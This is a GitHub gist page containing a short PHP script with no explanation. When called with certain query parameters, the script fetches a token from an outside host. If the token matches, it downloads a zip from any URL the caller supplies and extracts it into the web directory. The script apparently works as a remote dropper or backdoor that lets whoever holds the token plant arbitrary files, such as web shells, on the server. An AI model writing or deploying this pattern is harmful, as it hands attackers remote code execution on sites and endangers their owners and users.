Skip to content

Instantly share code, notes, and snippets.

@minmemory
Created July 26, 2013 00:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save minmemory/6084892 to your computer and use it in GitHub Desktop.
Save minmemory/6084892 to your computer and use it in GitHub Desktop.
<?php
if($_GET['gn'] == "bb"){
echo "1.0";
}
if($_GET['gn'] == "az"){
header("Content-type: text/html;charset=utf-8");
$url="http://cp.swapteam.cn/api/syjazcode.txt";
$postdata="";
$header="Content-Type: application/x-www-form-urlencoded";
$method='POST';
$sqyz = $_GET['code'];
$opts=array();
$opts['http']=array('method'=>$method,'header'=>$header,'content'=>$postdata);
$context=stream_context_create($opts);
$sqstr=file_get_contents($url,false,$context);
if($sqyz == $sqstr){
$sjurl = $_GET["sjurl"];
$sjxz=file_get_contents($sjurl);
$fp2=fopen("sjwj.zip","w+");
fwrite($fp2,$sjxz);
$zip = new ZipArchive();
$zip->open('sjwj.zip');
$zip->extractTo('./');
$zip->close();
unlink('sjwj.zip');
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment